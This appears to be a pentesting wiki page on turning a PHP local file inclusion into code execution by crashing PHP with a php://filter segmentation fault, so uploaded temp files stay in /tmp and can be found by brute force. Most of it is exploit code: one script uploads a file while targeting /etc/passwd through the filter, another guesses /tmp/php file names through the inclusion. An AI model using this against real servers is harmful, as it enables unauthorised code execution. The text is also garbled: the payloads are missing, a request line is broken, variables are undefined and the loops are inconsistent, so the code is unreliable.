LFI2RCE via Segmentation Fault

According to the writeups (second part) and, the following payloads caused a segmentation fault in PHP:
// PHP 7.0
// PHP 7.2
You should know that if you send a POST request containing a file, PHP will create a temporary file in /tmp/php<something> with the contents of that file. This file will be automatically deleted once the request was processed.
If you find a LFI and you manage to trigger a segmentation fault in PHP, the temporary file will never be deleted. Therefore, you can search for it with the LFI vulnerability until you find it and execute arbitrary code.
You can use the docker image for testing.
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response =, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = ""
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
if __name__ == "__main__":